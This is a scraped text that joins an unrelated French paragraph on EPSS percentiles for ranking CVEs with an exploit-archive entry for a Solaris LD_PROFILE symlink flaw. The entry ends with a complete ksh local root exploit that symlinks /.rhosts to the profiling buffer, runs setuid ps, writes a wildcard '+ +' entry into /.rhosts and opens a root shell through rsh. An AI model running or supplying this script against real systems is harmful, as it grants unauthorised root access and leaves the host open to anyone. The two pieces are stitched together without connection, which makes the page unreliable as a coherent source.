Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/659/info A vulnerability in the dynamic linkers while profiling a shared object allows local users to create arbitrary files in the system. It canno't be used to overwrite existing files. If the LD_PROFILE environment variable is defined it instructs the dynamic linker to profile the shared object defined by it. When profiling is enabled, a profiling buffer file is created and mapped. The name of the buffer file is the name of the shared object being profiled with a .profile extension. By default this buffer is placed under /var/tmp. The dynamic linker created the buffer file insecurely in the case where it runs in the context of a setuid application. It follows symbolic links while creating the file. This is Sun BugID 4150646. This is the same bug as Sun BugID 1241843. The new instance was introduced after an extensive rewrite of the dynamic linker. The problem was originally fixed in Solaris 2.5.1 and back patched. It was reintroduced in 2.6 and back patched into 2.5.1. #! /bin/ksh # LD_PROFILE local root exploit for solaris # steve@tightrope.demon.co.uk 19990922 umask 000 ln -s /.rhosts /var/tmp/ps.profile export LD_PROFILE=/usr/bin/ps /usr/bin/ps echo + + > /.rhosts rsh -l root localhost csh -i
